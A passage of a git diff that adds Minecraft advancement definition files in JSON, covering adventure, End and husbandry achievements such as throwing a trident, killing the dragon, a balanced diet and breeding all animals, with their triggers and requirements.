"translate": "advancements.adventure.summon_iron_golem.description" + }, + "frame": "goal", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "summoned_golem": { + "trigger": "minecraft:summoned_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:iron_golem" + }, + "entity": "this" + } + ] + } + } + }, + "requirements": [ + [ + "summoned_golem" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/adventure/throw_trident.json b/src/data/minecraft/advancements/adventure/throw_trident.json new file mode 100644 index 00000000..80125ece --- /dev/null +++ b/src/data/minecraft/advancements/adventure/throw_trident.json @@ -0,0 +1,39 @@ +{ + "parent": "minecraft:adventure/kill_a_mob", + "display": { + "icon": { + "item": "minecraft:trident", + "nbt": "{Damage:0}" + }, + "title": { + "translate": "advancements.adventure.throw_trident.title" + }, + "description": { + "translate": "advancements.adventure.throw_trident.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "shot_trident": { + "trigger": "minecraft:player_hurt_entity", + "conditions": { + "damage": { + "type": { + "is_projectile": true, + "direct_entity": { + "type": "minecraft:trident" + } + } + } + } + } + }, + "requirements": [ + [ + "shot_trident" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/adventure/totem_of_undying.json b/src/data/minecraft/advancements/adventure/totem_of_undying.json new file mode 100644 index 00000000..ba07a80d --- /dev/null +++ b/src/data/minecraft/advancements/adventure/totem_of_undying.json @@ -0,0 +1,33 @@ +{ + "parent": "minecraft:adventure/kill_a_mob", + "display": { + "icon": { + "item": "minecraft:totem_of_undying" + }, + "title": { + "translate": "advancements.adventure.totem_of_undying.title" + }, + "description": { + "translate": "advancements.adventure.totem_of_undying.description" + }, + "frame": "goal", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "used_totem": { + "trigger": "minecraft:used_totem", + "conditions": { + "item": { + "item": "minecraft:totem_of_undying" + } + } + } + }, + "requirements": [ + [ + "used_totem" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/adventure/trade.json b/src/data/minecraft/advancements/adventure/trade.json new file mode 100644 index 00000000..ecd4f7ba --- /dev/null +++ b/src/data/minecraft/advancements/adventure/trade.json @@ -0,0 +1,29 @@ +{ + "parent": "minecraft:adventure/root", + "display": { + "icon": { + "item": "minecraft:emerald" + }, + "title": { + "translate": "advancements.adventure.trade.title" + }, + "description": { + "translate": "advancements.adventure.trade.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "traded": { + "trigger": "minecraft:villager_trade", + "conditions": {} + } + }, + "requirements": [ + [ + "traded" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/adventure/two_birds_one_arrow.json b/src/data/minecraft/advancements/adventure/two_birds_one_arrow.json new file mode 100644 index 00000000..bda2ef8f --- /dev/null +++ b/src/data/minecraft/advancements/adventure/two_birds_one_arrow.json @@ -0,0 +1,54 @@ +{ + "parent": "minecraft:adventure/ol_betsy", + "display": { + "icon": { + "item": "minecraft:crossbow", + "nbt": "{Damage:0}" + }, + "title": { + "translate": "advancements.adventure.two_birds_one_arrow.title" + }, + "description": { + "translate": "advancements.adventure.two_birds_one_arrow.description" + }, + "frame": "challenge", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "rewards": { + "experience": 65 + }, + "criteria": { + "two_birds": { + "trigger": "minecraft:killed_by_crossbow", + "conditions": { + "victims": [ + [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:phantom" + }, + "entity": "this" + } + ], + [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:phantom" + }, + "entity": "this" + } + ] + ] + } + } + }, + "requirements": [ + [ + "two_birds" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/adventure/very_very_frightening.json b/src/data/minecraft/advancements/adventure/very_very_frightening.json new file mode 100644 index 00000000..3ec2b18f --- /dev/null +++ b/src/data/minecraft/advancements/adventure/very_very_frightening.json @@ -0,0 +1,42 @@ +{ + "parent": "minecraft:adventure/throw_trident", + "display": { + "icon": { + "item": "minecraft:trident", + "nbt": "{Damage:0}" + }, + "title": { + "translate": "advancements.adventure.very_very_frightening.title" + }, + "description": { + "translate": "advancements.adventure.very_very_frightening.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "struck_villager": { + "trigger": "minecraft:channeled_lightning", + "conditions": { + "victims": [ + [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:villager" + }, + "entity": "this" + } + ] + ] + } + } + }, + "requirements": [ + [ + "struck_villager" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/adventure/voluntary_exile.json b/src/data/minecraft/advancements/adventure/voluntary_exile.json new file mode 100644 index 00000000..6a8d78b5 --- /dev/null +++ b/src/data/minecraft/advancements/adventure/voluntary_exile.json @@ -0,0 +1,46 @@ +{ + "parent": "minecraft:adventure/root", + "display": { + "icon": { + "item": "minecraft:white_banner", + "nbt": "{BlockEntityTag:{Patterns:[{Color:9,Pattern:\"mr\"},{Color:8,Pattern:\"bs\"},{Color:7,Pattern:\"cs\"},{Color:8,Pattern:\"bo\"},{Color:15,Pattern:\"ms\"},{Color:8,Pattern:\"hh\"},{Color:8,Pattern:\"mc\"},{Color:15,Pattern:\"bo\"}]},HideFlags:32,display:{Name:\u0027{\"color\":\"gold\",\"translate\":\"block.minecraft.ominous_banner\"}\u0027}}" + }, + "title": { + "translate": "advancements.adventure.voluntary_exile.title" + }, + "description": { + "translate": "advancements.adventure.voluntary_exile.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": true + }, + "criteria": { + "voluntary_exile": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "#minecraft:raiders", + "equipment": { + "head": { + "item": "minecraft:white_banner", + "nbt": "{BlockEntityTag:{Patterns:[{Color:9,Pattern:\"mr\"},{Color:8,Pattern:\"bs\"},{Color:7,Pattern:\"cs\"},{Color:8,Pattern:\"bo\"},{Color:15,Pattern:\"ms\"},{Color:8,Pattern:\"hh\"},{Color:8,Pattern:\"mc\"},{Color:15,Pattern:\"bo\"}]},HideFlags:32,display:{Name:\u0027{\"color\":\"gold\",\"translate\":\"block.minecraft.ominous_banner\"}\u0027}}" + } + } + }, + "entity": "this" + } + ] + } + } + }, + "requirements": [ + [ + "voluntary_exile" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/adventure/whos_the_pillager_now.json b/src/data/minecraft/advancements/adventure/whos_the_pillager_now.json new file mode 100644 index 00000000..02a28fd3 --- /dev/null +++ b/src/data/minecraft/advancements/adventure/whos_the_pillager_now.json @@ -0,0 +1,42 @@ +{ + "parent": "minecraft:adventure/ol_betsy", + "display": { + "icon": { + "item": "minecraft:crossbow", + "nbt": "{Damage:0}" + }, + "title": { + "translate": "advancements.adventure.whos_the_pillager_now.title" + }, + "description": { + "translate": "advancements.adventure.whos_the_pillager_now.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "kill_pillager": { + "trigger": "minecraft:killed_by_crossbow", + "conditions": { + "victims": [ + [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:pillager" + }, + "entity": "this" + } + ] + ] + } + } + }, + "requirements": [ + [ + "kill_pillager" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/end/dragon_breath.json b/src/data/minecraft/advancements/end/dragon_breath.json new file mode 100644 index 00000000..1d7a0f29 --- /dev/null +++ b/src/data/minecraft/advancements/end/dragon_breath.json @@ -0,0 +1,35 @@ +{ + "parent": "minecraft:end/kill_dragon", + "display": { + "icon": { + "item": "minecraft:dragon_breath" + }, + "title": { + "translate": "advancements.end.dragon_breath.title" + }, + "description": { + "translate": "advancements.end.dragon_breath.description" + }, + "frame": "goal", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "dragon_breath": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:dragon_breath" + } + ] + } + } + }, + "requirements": [ + [ + "dragon_breath" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/end/dragon_egg.json b/src/data/minecraft/advancements/end/dragon_egg.json new file mode 100644 index 00000000..140f0d1f --- /dev/null +++ b/src/data/minecraft/advancements/end/dragon_egg.json @@ -0,0 +1,35 @@ +{ + "parent": "minecraft:end/kill_dragon", + "display": { + "icon": { + "item": "minecraft:dragon_egg" + }, + "title": { + "translate": "advancements.end.dragon_egg.title" + }, + "description": { + "translate": "advancements.end.dragon_egg.description" + }, + "frame": "goal", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "dragon_egg": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:dragon_egg" + } + ] + } + } + }, + "requirements": [ + [ + "dragon_egg" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/end/elytra.json b/src/data/minecraft/advancements/end/elytra.json new file mode 100644 index 00000000..cb12bdd3 --- /dev/null +++ b/src/data/minecraft/advancements/end/elytra.json @@ -0,0 +1,36 @@ +{ + "parent": "minecraft:end/find_end_city", + "display": { + "icon": { + "item": "minecraft:elytra", + "nbt": "{Damage:0}" + }, + "title": { + "translate": "advancements.end.elytra.title" + }, + "description": { + "translate": "advancements.end.elytra.description" + }, + "frame": "goal", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "elytra": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:elytra" + } + ] + } + } + }, + "requirements": [ + [ + "elytra" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/end/enter_end_gateway.json b/src/data/minecraft/advancements/end/enter_end_gateway.json new file mode 100644 index 00000000..8159a42e --- /dev/null +++ b/src/data/minecraft/advancements/end/enter_end_gateway.json @@ -0,0 +1,31 @@ +{ + "parent": "minecraft:end/kill_dragon", + "display": { + "icon": { + "item": "minecraft:ender_pearl" + }, + "title": { + "translate": "advancements.end.enter_end_gateway.title" + }, + "description": { + "translate": "advancements.end.enter_end_gateway.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "entered_end_gateway": { + "trigger": "minecraft:enter_block", + "conditions": { + "block": "minecraft:end_gateway" + } + } + }, + "requirements": [ + [ + "entered_end_gateway" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/end/find_end_city.json b/src/data/minecraft/advancements/end/find_end_city.json new file mode 100644 index 00000000..93c12606 --- /dev/null +++ b/src/data/minecraft/advancements/end/find_end_city.json @@ -0,0 +1,33 @@ +{ + "parent": "minecraft:end/enter_end_gateway", + "display": { + "icon": { + "item": "minecraft:purpur_block" + }, + "title": { + "translate": "advancements.end.find_end_city.title" + }, + "description": { + "translate": "advancements.end.find_end_city.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "in_city": { + "trigger": "minecraft:location", + "conditions": { + "location": { + "feature": "endcity" + } + } + } + }, + "requirements": [ + [ + "in_city" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/end/kill_dragon.json b/src/data/minecraft/advancements/end/kill_dragon.json new file mode 100644 index 00000000..711d05c1 --- /dev/null +++ b/src/data/minecraft/advancements/end/kill_dragon.json @@ -0,0 +1,39 @@ +{ + "parent": "minecraft:end/root", + "display": { + "icon": { + "item": "minecraft:dragon_head" + }, + "title": { + "translate": "advancements.end.kill_dragon.title" + }, + "description": { + "translate": "advancements.end.kill_dragon.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "killed_dragon": { + "trigger": "minecraft:player_killed_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:ender_dragon" + }, + "entity": "this" + } + ] + } + } + }, + "requirements": [ + [ + "killed_dragon" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/end/levitate.json b/src/data/minecraft/advancements/end/levitate.json new file mode 100644 index 00000000..d9f332c7 --- /dev/null +++ b/src/data/minecraft/advancements/end/levitate.json @@ -0,0 +1,38 @@ +{ + "parent": "minecraft:end/find_end_city", + "display": { + "icon": { + "item": "minecraft:shulker_shell" + }, + "title": { + "translate": "advancements.end.levitate.title" + }, + "description": { + "translate": "advancements.end.levitate.description" + }, + "frame": "challenge", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "rewards": { + "experience": 50 + }, + "criteria": { + "levitated": { + "trigger": "minecraft:levitation", + "conditions": { + "distance": { + "y": { + "min": 50.0 + } + } + } + } + }, + "requirements": [ + [ + "levitated" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/end/respawn_dragon.json b/src/data/minecraft/advancements/end/respawn_dragon.json new file mode 100644 index 00000000..64b3aa70 --- /dev/null +++ b/src/data/minecraft/advancements/end/respawn_dragon.json @@ -0,0 +1,39 @@ +{ + "parent": "minecraft:end/kill_dragon", + "display": { + "icon": { + "item": "minecraft:end_crystal" + }, + "title": { + "translate": "advancements.end.respawn_dragon.title" + }, + "description": { + "translate": "advancements.end.respawn_dragon.description" + }, + "frame": "goal", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "summoned_dragon": { + "trigger": "minecraft:summoned_entity", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:ender_dragon" + }, + "entity": "this" + } + ] + } + } + }, + "requirements": [ + [ + "summoned_dragon" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/end/root.json b/src/data/minecraft/advancements/end/root.json new file mode 100644 index 00000000..76708697 --- /dev/null +++ b/src/data/minecraft/advancements/end/root.json @@ -0,0 +1,31 @@ +{ + "display": { + "icon": { + "item": "minecraft:end_stone" + }, + "title": { + "translate": "advancements.end.root.title" + }, + "description": { + "translate": "advancements.end.root.description" + }, + "frame": "task", + "show_toast": false, + "announce_to_chat": false, + "hidden": false, + "background": "minecraft:textures/gui/advancements/backgrounds/end.png" + }, + "criteria": { + "entered_end": { + "trigger": "minecraft:changed_dimension", + "conditions": { + "to": "minecraft:the_end" + } + } + }, + "requirements": [ + [ + "entered_end" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/husbandry/balanced_diet.json b/src/data/minecraft/advancements/husbandry/balanced_diet.json new file mode 100644 index 00000000..a9d3e71f --- /dev/null +++ b/src/data/minecraft/advancements/husbandry/balanced_diet.json @@ -0,0 +1,454 @@ +{ + "parent": "minecraft:husbandry/plant_seed", + "display": { + "icon": { + "item": "minecraft:apple" + }, + "title": { + "translate": "advancements.husbandry.balanced_diet.title" + }, + "description": { + "translate": "advancements.husbandry.balanced_diet.description" + }, + "frame": "challenge", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "rewards": { + "experience": 100 + }, + "criteria": { + "apple": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:apple" + } + } + }, + "mushroom_stew": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:mushroom_stew" + } + } + }, + "bread": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:bread" + } + } + }, + "porkchop": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:porkchop" + } + } + }, + "cooked_porkchop": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:cooked_porkchop" + } + } + }, + "golden_apple": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:golden_apple" + } + } + }, + "enchanted_golden_apple": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:enchanted_golden_apple" + } + } + }, + "cod": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:cod" + } + } + }, + "salmon": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:salmon" + } + } + }, + "tropical_fish": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:tropical_fish" + } + } + }, + "pufferfish": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:pufferfish" + } + } + }, + "cooked_cod": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:cooked_cod" + } + } + }, + "cooked_salmon": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:cooked_salmon" + } + } + }, + "cookie": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:cookie" + } + } + }, + "melon_slice": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:melon_slice" + } + } + }, + "beef": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:beef" + } + } + }, + "cooked_beef": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:cooked_beef" + } + } + }, + "chicken": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:chicken" + } + } + }, + "cooked_chicken": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:cooked_chicken" + } + } + }, + "rotten_flesh": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:rotten_flesh" + } + } + }, + "spider_eye": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:spider_eye" + } + } + }, + "carrot": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:carrot" + } + } + }, + "potato": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:potato" + } + } + }, + "baked_potato": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:baked_potato" + } + } + }, + "poisonous_potato": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:poisonous_potato" + } + } + }, + "golden_carrot": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:golden_carrot" + } + } + }, + "pumpkin_pie": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:pumpkin_pie" + } + } + }, + "rabbit": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:rabbit" + } + } + }, + "cooked_rabbit": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:cooked_rabbit" + } + } + }, + "rabbit_stew": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:rabbit_stew" + } + } + }, + "mutton": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:mutton" + } + } + }, + "cooked_mutton": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:cooked_mutton" + } + } + }, + "chorus_fruit": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:chorus_fruit" + } + } + }, + "beetroot": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:beetroot" + } + } + }, + "beetroot_soup": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:beetroot_soup" + } + } + }, + "dried_kelp": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:dried_kelp" + } + } + }, + "suspicious_stew": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:suspicious_stew" + } + } + }, + "sweet_berries": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:sweet_berries" + } + } + }, + "honey_bottle": { + "trigger": "minecraft:consume_item", + "conditions": { + "item": { + "item": "minecraft:honey_bottle" + } + } + } + }, + "requirements": [ + [ + "apple" + ], + [ + "mushroom_stew" + ], + [ + "bread" + ], + [ + "porkchop" + ], + [ + "cooked_porkchop" + ], + [ + "golden_apple" + ], + [ + "enchanted_golden_apple" + ], + [ + "cod" + ], + [ + "salmon" + ], + [ + "tropical_fish" + ], + [ + "pufferfish" + ], + [ + "cooked_cod" + ], + [ + "cooked_salmon" + ], + [ + "cookie" + ], + [ + "melon_slice" + ], + [ + "beef" + ], + [ + "cooked_beef" + ], + [ + "chicken" + ], + [ + "cooked_chicken" + ], + [ + "rotten_flesh" + ], + [ + "spider_eye" + ], + [ + "carrot" + ], + [ + "potato" + ], + [ + "baked_potato" + ], + [ + "poisonous_potato" + ], + [ + "golden_carrot" + ], + [ + "pumpkin_pie" + ], + [ + "rabbit" + ], + [ + "cooked_rabbit" + ], + [ + "rabbit_stew" + ], + [ + "mutton" + ], + [ + "cooked_mutton" + ], + [ + "chorus_fruit" + ], + [ + "beetroot" + ], + [ + "beetroot_soup" + ], + [ + "dried_kelp" + ], + [ + "suspicious_stew" + ], + [ + "sweet_berries" + ], + [ + "honey_bottle" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/husbandry/bred_all_animals.json b/src/data/minecraft/advancements/husbandry/bred_all_animals.json new file mode 100644 index 00000000..8a65da9b --- /dev/null +++ b/src/data/minecraft/advancements/husbandry/bred_all_animals.json @@ -0,0 +1,357 @@ +{ + "parent": "minecraft:husbandry/breed_an_animal", + "display": { + "icon": { + "item": "minecraft:golden_carrot" + }, + "title": { + "translate": "advancements.husbandry.breed_all_animals.title" + }, + "description": { + "translate": "advancements.husbandry.breed_all_animals.description" + }, + "frame": "challenge", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "rewards": { + "experience": 100 + }, + "criteria": { + "minecraft:horse": { + "trigger": "minecraft:bred_animals", + "conditions": { + "child": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:horse" + }, + "entity": "this" + } + ] + } + }, + "minecraft:donkey": { + "trigger": "minecraft:bred_animals", + "conditions": { + "child": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:donkey" + }, + "entity": "this" + } + ] + } + }, + "minecraft:mule": { + "trigger": "minecraft:bred_animals", + "conditions": { + "child": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:mule" + }, + "entity": "this" + } + ] + } + }, + "minecraft:sheep": { + "trigger": "minecraft:bred_animals", + "conditions": { + "child": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:sheep" + }, + "entity": "this" + } + ] + } + }, + "minecraft:cow": { + "trigger": "minecraft:bred_animals", + "conditions": { + "child": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:cow" + }, + "entity": "this" + } + ] + } + }, + "minecraft:mooshroom": { + "trigger": "minecraft:bred_animals", + "conditions": { + "child": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:mooshroom" + }, + "entity": "this" + } + ] + } + }, + "minecraft:pig": { + "trigger": "minecraft:bred_animals", + "conditions": { + "child": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:pig" + }, + "entity": "this" + } + ] + } + }, + "minecraft:chicken": { + "trigger": "minecraft:bred_animals", + "conditions": { + "child": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:chicken" + }, + "entity": "this" + } + ] + } + }, + "minecraft:wolf": { + "trigger": "minecraft:bred_animals", + "conditions": { + "child": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:wolf" + }, + "entity": "this" + } + ] + } + }, + "minecraft:ocelot": { + "trigger": "minecraft:bred_animals", + "conditions": { + "child": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:ocelot" + }, + "entity": "this" + } + ] + } + }, + "minecraft:rabbit": { + "trigger": "minecraft:bred_animals", + "conditions": { + "child": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:rabbit" + }, + "entity": "this" + } + ] + } + }, + "minecraft:llama": { + "trigger": "minecraft:bred_animals", + "conditions": { + "child": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:llama" + }, + "entity": "this" + } + ] + } + }, + "minecraft:cat": { + "trigger": "minecraft:bred_animals", + "conditions": { + "child": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:cat" + }, + "entity": "this" + } + ] + } + }, + "minecraft:panda": { + "trigger": "minecraft:bred_animals", + "conditions": { + "child": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:panda" + }, + "entity": "this" + } + ] + } + }, + "minecraft:fox": { + "trigger": "minecraft:bred_animals", + "conditions": { + "child": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:fox" + }, + "entity": "this" + } + ] + } + }, + "minecraft:bee": { + "trigger": "minecraft:bred_animals", + "conditions": { + "child": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:bee" + }, + "entity": "this" + } + ] + } + }, + "minecraft:hoglin": { + "trigger": "minecraft:bred_animals", + "conditions": { + "child": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:hoglin" + }, + "entity": "this" + } + ] + } + }, + "minecraft:strider": { + "trigger": "minecraft:bred_animals", + "conditions": { + "child": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:strider" + }, + "entity": "this" + } + ] + } + }, + "minecraft:turtle": { + "trigger": "minecraft:bred_animals", + "conditions": { + "parent": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:turtle" + }, + "entity": "this" + } + ], + "partner": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "type": "minecraft:turtle" + }, + "entity": "this" + } + ] + } + } + }, + "requirements": [ + [ + "minecraft:horse" + ], + [ + "minecraft:donkey" + ], + [ + "minecraft:mule" + ], + [ + "minecraft:sheep" + ], + [ + "minecraft:cow" + ], + [ + "minecraft:mooshroom" + ], + [ + "minecraft:pig" + ], + [ + "minecraft:chicken" + ], + [ + "minecraft:wolf" + ], + [ + "minecraft:ocelot" + ], + [ + "minecraft:rabbit" + ], + [ + "minecraft:llama" + ], + [ + "minecraft:cat" + ], + [ + "minecraft:panda" + ], + [ + "minecraft:fox" + ], + [ + "minecraft:bee" + ], + [ + "minecraft:hoglin" + ], + [ + "minecraft:strider" + ], + [ + "minecraft:turtle" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/husbandry/breed_an_animal.json b/src/data/minecraft/advancements/husbandry/breed_an_animal.json new file mode 100644 index 00000000..0f732891 --- /dev/null +++ b/src/data/minecraft/advancements/husbandry/breed_an_animal.json @@ -0,0 +1,29 @@ +{ + "parent": "minecraft:husbandry/root", + "display": { + "icon": { + "item": "minecraft:wheat" + }, + "title": { + "translate": "advancements.husbandry.breed_an_animal.title" + }, + "description": { + "translate": "advancements.husbandry.breed_an_animal.description" + }, + "frame": "task", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "criteria": { + "bred": { + "trigger": "minecraft:bred_animals", + "conditions": {} + } + }, + "requirements": [ + [ + "bred" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/husbandry/complete_catalogue.json b/src/data/minecraft/advancements/husbandry/complete_catalogue.json new file mode 100644 index 00000000..fa1e1f2a --- /dev/null +++ b/src/data/minecraft/advancements/husbandry/complete_catalogue.json @@ -0,0 +1,212 @@ +{ + "parent": "minecraft:husbandry/tame_an_animal", + "display": { + "icon": { + "item": "minecraft:cod" + }, + "title": { + "translate": "advancements.husbandry.complete_catalogue.title" + }, + "description": { + "translate": "advancements.husbandry.complete_catalogue.description" + }, + "frame": "challenge", + "show_toast": true, + "announce_to_chat": true, + "hidden": false + }, + "rewards": { + "experience": 50 + }, + "criteria": { + "textures/entity/cat/tabby.png": { + "trigger": "minecraft:tame_animal", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "catType": "minecraft:textures/entity/cat/tabby.png" + }, + "entity": "this" + } + ] + } + }, + "textures/entity/cat/black.png": { + "trigger": "minecraft:tame_animal", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "catType": "minecraft:textures/entity/cat/black.png" + }, + "entity": "this" + } + ] + } + }, + "textures/entity/cat/red.png": { + "trigger": "minecraft:tame_animal", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "catType": "minecraft:textures/entity/cat/red.png" + }, + "entity": "this" + } + ] + } + }, + "textures/entity/cat/siamese.png": { + "trigger": "minecraft:tame_animal", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "catType": "minecraft:textures/entity/cat/siamese.png" + }, + "entity": "this" + } + ] + } + }, + "textures/entity/cat/british_shorthair.png": { + "trigger": "minecraft:tame_animal", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "catType": "minecraft:textures/entity/cat/british_shorthair.png" + }, + "entity": "this" + } + ] + } + }, + "textures/entity/cat/calico.png": { + "trigger": "minecraft:tame_animal", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "catType": "minecraft:textures/entity/cat/calico.png" + }, + "entity": "this" + } + ] + } + }, + "textures/entity/cat/persian.png": { + "trigger": "minecraft:tame_animal", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "catType": "minecraft:textures/entity/cat/persian.png" + }, + "entity": "this" + } + ] + } + }, + "textures/entity/cat/ragdoll.png": { + "trigger": "minecraft:tame_animal", + "conditions": { + "entity": [ + { + "condition": "minecraft:entity_properties", + "predicate": { + "catType": 